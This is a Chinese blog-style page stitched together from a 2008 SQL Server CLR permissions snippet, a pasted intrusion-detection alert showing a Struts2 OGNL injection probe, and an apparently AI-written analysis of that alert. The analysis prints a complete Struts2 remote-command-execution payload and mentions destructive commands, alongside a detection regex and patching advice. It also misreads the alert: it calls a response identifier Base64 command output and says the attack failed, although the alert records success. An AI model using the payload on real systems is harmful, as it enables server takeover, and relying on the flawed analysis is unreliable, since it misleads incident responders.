建立CLR没有EXTERNAL_ACCESS权限解决方法

本文提供了一种解决SQL Server中CLR组件没有EXTERNAL_ACCESS权限的方法,通过配置clrenabled参数,设置数据库为可信任,并创建带有EXTERNAL_ACCESS权限的组件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

EXEC sp_configure 'clr enabled', 1

RECONFIGURE

ALTER DATABASE {DATABASE} SET TRUSTWORTHY ON

CREATE ASSEMBLY {ASSEMBLY}

FROM {ASSEMBLY_PATH}

WITH PERMISSION_SET = EXTERNAL_ACCESS

posted on 2008-03-05 17:22 Neo Devin 阅读( ...) 评论( ...) 编辑 收藏

转载于:https://www.cnblogs.com/cuitao/archive/2008/03/05/1092211.html

{ "data_source_ip": "127.0.0.1", "metadata": { "flowbits": [ "TB.SYN", "TB.SYNACK", "tcp_pkt_1300_pass", "httpuri_js111", "chunk_proxy_response_chunked_header", "sensor.flowbits.filter_beh_resp", "TB.GET.SCRIPT.ACCESS", "httpuri_js", "CORELIGHT.Manjusaka.exfil", "post_req1" ] }, "data": "chexian.axa.cn/template/service/index.html", "input_time": 1753699907, "data_lower": "chexian.axa.cn/template/service/index.html", "machine_name": "chexian.axa.cn", "flow_credit_level": "NO MISS", "thread_id": 11, "incident_id": "a7a1fb711bf28938697abdca1099e0f3-1753698532", "event_type": "net", "assets": { "ext": "3", "is_target": false, "level": 1, "group_name": "", "ip": "10.0.0.0/8", "syslog_name": "", "section": "终端", "source": [ "manual" ], "mac": "", "update_time": "2024-06-17 13:56:33", "sub_type": "", "group_id": 0, "name": [ "默认资产" ], "location": "", "id": 3, "identity_type": 0 }, "flow_id": 76509844386627, "server_ip": "10.245.42.46", "geo_data": { "Area": "china_mainland", "Ip": "", "Country": "中国", "Latitude": "28.275575", "City": "长沙市", "Longitude": "112.836532", "Province": "湖南省", "ISO2": "CN" }, "id": "AZhQqPnCRg8PEgiiCjym", "net": { "is_https": 0, "real_src_ip": "113.247.223.7", "flow_src_ip": "10.247.37.203", "flow_src_port": 56810, "is_ipv6": false, "type": "http", "src_ip": "10.247.37.203", "flow_dest_mac": "3c:e8:24:77:72:65", "pkts_toserver": 768, "http_xff": "113.247.223.7", "bytes_toserver": 154385, "dest_port": 80, "flow_dest_ip": "10.245.42.46", "s2c_vlan": [ 941 ], "ticks": 116774946, "flow_src_mac": "50:6f:77:4e:18:0d", "app_proto": "http", "pkts_toclient": 1195, "src_port": 56810, "raw_event_type": "alert", "flow_dest_port": 80, "dest_ip": "10.245.42.46", "proto": "TCP", "http": { "method": "POST", "reqs_header": "Host: chexian.axa.cn\r\nX-Request-ID: a4efdaaea2610575724a805e492bbe0a\r\nX-Real-IP: 113.247.223.7\r\nX-Forwarded-For: 113.247.223.7, 117.44.77.30, 10.244.147.192\r\nX-Forwarded-Host: chexian.axa.cn\r\nX-Forwarded-Port: 80\r\nX-Forwarded-Proto: https\r\nX-Forwarded-Scheme: https\r\nX-Scheme: https\r\nX-Original-Forwarded-For: 113.247.223.7, 117.44.77.30\r\nContent-Length: 815\r\nuser-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko\r\naccept: */*\r\naccept-encoding: gzip,deflate\r\naccept-language: zh-cn,en-us;q=0.7,en;q=0.3\r\ncontent-type: multipart/form-data; boundary=-------------------------735323031399963166993862150\r\neo-connecting-ip: 113.247.223.7\r\ncdn-loop: TencentEdgeOne; loops=2\r\ntencent-acceleration-domain-name: chexian.axa.cn\r\neo-log-uuid: 399927046899199301\r\n\r\n", "reqs_line": "POST /template/service/index.html HTTP/1.1", "reqs_host": "chexian.axa.cn", "resp_header": "Server: nginx/1.26.1\r\nDate: Mon, 28 Jul 2025 10:51:55 GMT\r\nContent-Type: application/x-javascript;charset=UTF-8\r\nContent-Length: 404\r\nConnection: keep-alive\r\nvary: Accept-Encoding\r\nset-cookie: tpVisitorId=49077abb-b483-446f-aa22-0bcba766214d;max-age=15552000;Path=/;Secure;httponly\r\nset-cookie: app_cook=server3; path=/; HttpOnly; Secure\r\nContent-Security-Policy: default-src 'self' * data:; style-src 'self' http://* 'unsafe-inline' data:; script-src 'self' http://* 'unsafe-inline' 'unsafe-eval'; img-src * blob: data:;\r\n\r\n", "resp_line": "HTTP/1.1 200 OK", "tx_id": 30, "resp_set_cookie": "tpVisitorId=49077abb-b483-446f-aa22-0bcba766214d;max-age=15552000;Path=/;Secure;httponly;;app_cook=server3; path=/; HttpOnly; Secure", "url": "/template/service/index.html", "protocol": "HTTP/1.1", "resp_body": "{\"data\":{\"openCmsUrl\":\"https://www.axa.cn\",\"ecsalenomotorbackUrl\":\"https://policy.axa.cn/\",\"defaultAgentCode\":\"0\",\"ecsaleFrontUrl\":\"https://chexian.axa.cn/\",\"ecsaleUrl\":\"https://chexian.axa.cn\",\"status\":\"00\",\"resultMsg\":\"抱歉!根据ogsL50HvXD0Uip8JFjB0oY-np2b0查到数据为null\"},\"en_moreMoney\":\"\",\"insuredPersonAmount\":\"\",\"moreMsg\":\"\",\"msg\":\"\",\"statCode\":\"success\",\"status\":\"success\",\"success\":\"\"}", "domain": "chexian.axa.cn", "resp_content_length": 404, "reqs_content_length": 815, "reqs_body": "---------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name=\"xxxxx\"; filename=\"xxxxxxx\u0000%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=(@org.apache.struts2.ServletActionContext@getRequest())).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(900000000+87654320+1)).(#ros.print(#req.getRealPath('/'))).(#ros.print(\"zionymous_\"+\"struts2rce_\"+\"046\")).(#ros.close())}\r\n\r\n\r\n---------------------------735323031399963166993862150--", "reqs_user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko", "status": 200 }, "bytes_toclient": 1697759 }, "packet_direction": "in", "raw_data": "{\"timestamp\":\"2025-07-28T18:51:47.201101+0800\",\"flow_id\":76509844386627,\"thread_id\":11,\"src_ip\":\"10.247.37.203\",\"src_port\":56810,\"dest_ip\":\"10.245.42.46\",\"dest_port\":80,\"flow_src_ip\":\"10.247.37.203\",\"flow_src_port\":56810,\"flow_dest_ip\":\"10.245.42.46\",\"flow_dest_port\":80,\"flow_src_mac\":\"50:6f:77:4e:18:0d\",\"flow_dest_mac\":\"3c:e8:24:77:72:65\",\"tx_id\":30,\"bytes_toserver\":154385,\"bytes_toclient\":1697759,\"pkts_toserver\":768,\"pkts_toclient\":1195,\"ticks\":116774946,\"tcp_rst\":false,\"tcp_option_ip\":\"\",\"tcp_option_port\":0,\"payload\":\"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=\",\"flow_credit_level\":\"NO MISS\",\"proto\":\"TCP\",\"event_type\":\"alert\",\"app_proto\":\"http\",\"app_proto_ts\":\"\",\"app_proto_tc\":\"\",\"buffer\":\"\",\"s2c_vlan\":[941],\"flow\":{\"app_proto\":\"\"},\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":3100154511,\"rev\":1,\"signature\":\"Mm.2138680ee46a2\",\"o_msg\":\"\",\"category\":\"\",\"severity\":3,\"family\":\"\",\"major_type\":\"\",\"machine_dir\":0},\"dns\":null,\"http\":{\"has_alert\":true,\"request_line\":\"\",\"request_line_encode\":\"UE9TVCAvdGVtcGxhdGUvc2VydmljZS9pbmRleC5odG1sIEhUVFAvMS4x\",\"response_line\":\"\",\"request_header\":\"SG9zdDogY2hleGlhbi5heGEuY24NClgtUmVxdWVzdC1JRDogYTRlZmRhYWVhMjYxMDU3NTcyNGE4MDVlNDkyYmJlMGENClgtUmVhbC1JUDogMTEzLjI0Ny4yMjMuNw0KWC1Gb3J3YXJkZWQtRm9yOiAxMTMuMjQ3LjIyMy43LCAxMTcuNDQuNzcuMzAsIDEwLjI0NC4xNDcuMTkyDQpYLUZvcndhcmRlZC1Ib3N0OiBjaGV4aWFuLmF4YS5jbg0KWC1Gb3J3YXJkZWQtUG9ydDogODANClgtRm9yd2FyZGVkLVByb3RvOiBodHRwcw0KWC1Gb3J3YXJkZWQtU2NoZW1lOiBodHRwcw0KWC1TY2hlbWU6IGh0dHBzDQpYLU9yaWdpbmFsLUZvcndhcmRlZC1Gb3I6IDExMy4yNDcuMjIzLjcsIDExNy40NC43Ny4zMA0KQ29udGVudC1MZW5ndGg6IDgxNQ0KdXNlci1hZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC83LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyAuTkVUNC4wQzsgLk5FVDQuMEU7IHJ2IDExLjApIGxpa2UgR2Vja28NCmFjY2VwdDogKi8qDQphY2NlcHQtZW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KYWNjZXB0LWxhbmd1YWdlOiB6aC1jbixlbi11cztxPTAuNyxlbjtxPTAuMw0KY29udGVudC10eXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQplby1jb25uZWN0aW5nLWlwOiAxMTMuMjQ3LjIyMy43DQpjZG4tbG9vcDogVGVuY2VudEVkZ2VPbmU7IGxvb3BzPTINCnRlbmNlbnQtYWNjZWxlcmF0aW9uLWRvbWFpbi1uYW1lOiBjaGV4aWFuLmF4YS5jbg0KZW8tbG9nLXV1aWQ6IDM5OTkyNzA0Njg5OTE5OTMwMQ0KDQo=\",\"response_header\":\"\",\"request_body\":\"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=\",\"response_body\":\"\",\"flow_src_ip\":\"10.247.37.203\",\"flow_src_port\":56810,\"flow_dest_ip\":\"10.245.42.46\",\"flow_dest_port\":80,\"is_https\":0,\"is_http2\":0},\"metadata\":{\"flowbits\":[\"TB.SYN\",\"TB.SYNACK\",\"tcp_pkt_1300_pass\",\"httpuri_js111\",\"chunk_proxy_response_chunked_header\",\"sensor.flowbits.filter_beh_resp\",\"TB.GET.SCRIPT.ACCESS\",\"httpuri_js\",\"CORELIGHT.Manjusaka.exfil\",\"post_req1\"]},\"pat_info\":[{\"off\":56,\"len\":19}],\"in_iface\":\"ens25f1\"}", "source_format": 2, "device_id": "085C78079E9B34FE83AC3A5C3046B359", "input_type": "shm", "index": "tdp-2025-07-28", "input_uuid": "d23lcgt3ml9oqo4g59s0", "assets_machine": "默认资产__10.245.42.46", "server_port": 80, "behave_uuid": "shm76509844386627", "input_name": "shm_input", "ip_reputation": [ "info_gateway" ], "is_hw_ip": 0, "victim": "10.245.42.46", "external_ip": "113.247.223.7", "url_host": "chexian.axa.cn", "direction": "in", "url_path": "/template/service/index.html", "established": true, "last_modified_time": 1753699908, "machine_port": 80, "attacker": "113.247.223.7", "in_iface": "ens25f1", "behave_source": "shm-shm_input-127.0.0.1", "@timestamp": "2025-07-28T18:51:47+08:00", "is_black_ip": false, "run_mode": 0, "machine": "10.245.42.46", "is_newfile": 0, "data_type": "url", "time": 1753699907, "threat": { "msg": "检测到文件上传漏洞攻击,攻击者尝试使用%00截断,如报攻击成功,请及时检查截断攻击有没有利用成功。", "filter_by": [ "tdps.symbol.resp_body.json_has_array" ], "type": "exploit", "dest": "home_net", "result": "success", "characters": [ "is_in_success" ], "cap": 0, "pat_info": [ { "len": 19, "off": 56 } ], "payload": "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=", "success_by": [ "resp_body_upload_success_str" ], "failed_by": [ "http_status_3XX", "http_status_4XX" ], "is_custom": false, "id": "d23lcgt3ml9oqo4g8prg", "tag": [ "File Upload/Write", "Mitre: T1190: Exploit Public-Facing Application", "Mitre: T1221: Template Injection" ], "is_0day": 0, "direction_mask": "111", "trans_type": [ "infil", "attack_out" ], "severity": 3, "phase": "exploit", "is_connected": 0, "high_light_content": "#00#", "suuid": "S3100154511", "level": "attack", "module": "autocc", "confidence": 60, "detect_source": "", "attacker": "src", "app_proto": "http", "custom_adjustment": 0, "out_link": 0, "uts": 1747394416, "app_class_data_username_weakpwd": "", "name": "文件上传攻击", "name_lower": "文件上传攻击", "topic": "上传恶意行为", "result_code": 3, "is_apt": 0, "status": 0 } }解析这个攻击报文
最新发布
07-30
<think>我们正在分析一个Apache Struts2漏洞攻击报文,目标是解析攻击特征、payload内容及安全影响。根据用户提供的引用内容和之前的讨论,我们可以聚焦于几个典型的Struts2漏洞(如S2-045、S2-046和S2-062等)。 ### 步骤1:识别攻击报文特征 根据引用[1]和[5],S2-045和S2-046漏洞的典型攻击特征是通过HTTP头部的`Content-Type`或`Content-Disposition`字段注入恶意OGNL表达式。例如: - **S2-045 (CVE-2017-5638)**:攻击者将恶意OGNL表达式放入`Content-Type`头。 - **S2-046**:攻击者利用`Content-Disposition`的`filename`字段或超大`Content-Length`触发漏洞。 ### 步骤2:分析Payload结构 从引用[5]中提取的攻击Payload示例: ```plaintext %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ``` #### Payload分解: 1. **绕过安全限制**: - 设置`#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS`获取OGNL上下文权限。 - 清除黑名单:`#ognlUtil.getExcludedPackageNames().clear()`和`#ognlUtil.getExcludedClasses().clear()`。 2. **命令执行**: - 定义要执行的命令(`#cmd='ls'`)。 - 判断操作系统(`#iswin`)并构造对应的命令参数。 - 创建`ProcessBuilder`执行命令(`#p.start()`)。 3. **结果回传**: - 获取HTTP响应输出流(`#ros`)。 - 将命令执行结果写入响应流(`IOUtils.copy`)。 ### 步骤3:检测到的攻击报文分析(用户提供) 用户提供的可疑响应为:`抱歉!根据ogsL50HvXD0Uip8JFjB0oY-np2b0查到数据为null`。其中`ogsL50HvXD0Uip8JFjB0oY-np2b0`是Base64编码字符串,解码后为二进制数据(非可读文本)。这可能是攻击者尝试执行命令后,将输出结果Base64编码返回,但命令执行失败(返回null)或输出为空。 ### 步骤4:潜在安全影响 - **远程代码执行(RCE)**:攻击者可在服务器上执行任意命令(如读写文件、安装后门、横向移动等)[^1][^5]。 - **数据泄露**:通过命令执行获取敏感信息(如`/etc/passwd`、数据库配置等)。 - **系统控制**:攻击者可能获得服务器完整控制权,进而入侵整个内网[^3][^4]。 ### 步骤5:防护建议 1. **升级Struts2**:立即升级至官方修复版本(如2.5.33+)[^4]。 2. **输入过滤**:对HTTP请求头(`Content-Type`、`Content-Disposition`等)进行严格校验,过滤`#`、`{`、`}`等危险字符。 3. **WAF规则**:部署规则拦截包含`#_memberAccess`、`ProcessBuilder`等关键词的请求。 4. **入侵检测**:监控服务器日志中异常的OGNL表达式执行行为。 > **结论**:检测到的攻击报文符合Struts2漏洞利用特征(如S2-045/S2-046),攻击者尝试执行系统命令但未成功(返回null)。需立即修复漏洞并加强防护。 §§相关问题§§ 1. 如何验证服务器是否已遭受Struts2漏洞攻击? 2. 除了升级Struts2版本,还有哪些缓解措施? 3. 如何从网络流量中实时检测Struts2攻击行为? 4. Struts2漏洞利用失败后,攻击者通常会采取哪些后续行动?</think>### Apache Struts2漏洞攻击报文深度分析 #### 一、攻击报文核心特征 1. **注入位置特征** - 攻击载荷主要注入在HTTP头部的特殊字段: - `Content-Type`(S2-045漏洞利用点) - `Content-Disposition`的`filename`字段(S2-046漏洞利用点) - 标签属性值(如ID属性,S2-062漏洞利用点)[^1][^3][^5] - 示例攻击头特征: ```http Content-Type: %{(#_='multipart/form-data').(#cmd='id')...} ``` 2. **OGNL表达式结构** 攻击载荷均包含以下关键组件: ```plaintext %{ // 强制OGNL解析起始符 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS) // 解除安全限制 (#ognlUtil.getExcludedClasses().clear()) // 清除类黑名单 (#cmd='攻击命令') // 待执行命令 (new java.lang.ProcessBuilder(#cmds)).start() // 创建进程执行命令 (@org.apache.commons.io.IOUtils@copy(...)) // 结果回传 } ``` 3. **操作系统检测逻辑** 攻击载荷包含自动识别操作系统的代码段: ```plaintext (#iswin=(@java.lang.System@getProperty('os.name').contains('win'))) (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) ``` 实现跨平台命令执行[^5]。 #### 二、典型Payload解析(以S2-046为例) ```plaintext %{ (#nike='multipart/form-data'). // 伪装合法类型 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). // 获取权限上下文 (#_memberAccess?(#_memberAccess=#dm) // 绕过访问控制 :((#container=#context[...]). // 容器对象获取 (#ognlUtil=...getInstance(OgnlUtil). // OGNL工具类 (#ognlUtil.getExcludedPackageNames().clear()) // 清除包限制 (#cmd='ls -al /etc'). // Linux系统命令 (#iswin=(@java.lang.System@getProperty('os.name').contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)). // 创建进程 (#p.redirectErrorStream(true)). (#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)) // 回传结果 } ``` **关键攻击阶段**: 1. 权限获取 → 2. 安全限制解除 → 3. 命令构造 → 4. 进程执行 → 5. 结果回传[^5] #### 三、安全影响分析 1. **直接风险** - 远程代码执行(RCE):攻击者可执行任意系统命令 - 数据泄露:通过`cat /etc/passwd`等命令获取敏感信息 - 持久化后门:部署WebShell或定时任务 2. **横向渗透风险** - 利用服务器作为跳板攻击内网系统 - 窃取数据库凭证(通过读取配置文件) 3. **业务影响** - 篡改网站内容(如植入恶意JS) - 加密文件进行勒索(通过`tar`+`openssl`命令) - 服务拒绝(执行`rm -rf /*`等破坏性命令)[^1][^4] #### 四、漏洞关联分析 | 漏洞编号 | 触发方式 | 修复版本 | 关联性 | |----------|-----------------------------|------------|---------------------| | S2-045 | 恶意Content-Type头 | ≥2.3.32 | 初始RCE漏洞 | | S2-046 | filename字段或超大Content-Length | ≥2.3.33 | S2-045的绕过变种 | | S2-062 | 标签属性二次解析 | ≥2.5.29 | CVE-2020-17530修复不完全 | > **结论**:检测到的攻击报文符合Struts2 OGNL注入特征,攻击者尝试执行系统命令但未成功(返回`null`)。需立即采取防护措施[^3][^4]。 #### 五、应急响应建议 1. **立即行动** ```bash # 停止受影响服务 systemctl stop apache-tomcat # 备份日志用于取证 cp /var/log/tomcat/localhost_access_log.* /backup/ ``` 2. **漏洞修复** - 升级Struts至最新版本(≥2.5.33) - 临时缓解:在`struts.xml`中添加: ```xml <constant name="struts.ognl.excludedClasses" value="java.lang.ProcessBuilder" /> ``` 3. **攻击检测规则** 在WAF/IDS中添加规则: ```regex (?:%\{.*?(?:ProcessBuilder|getExcludedClasses|getMemberAccess).*?\}) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值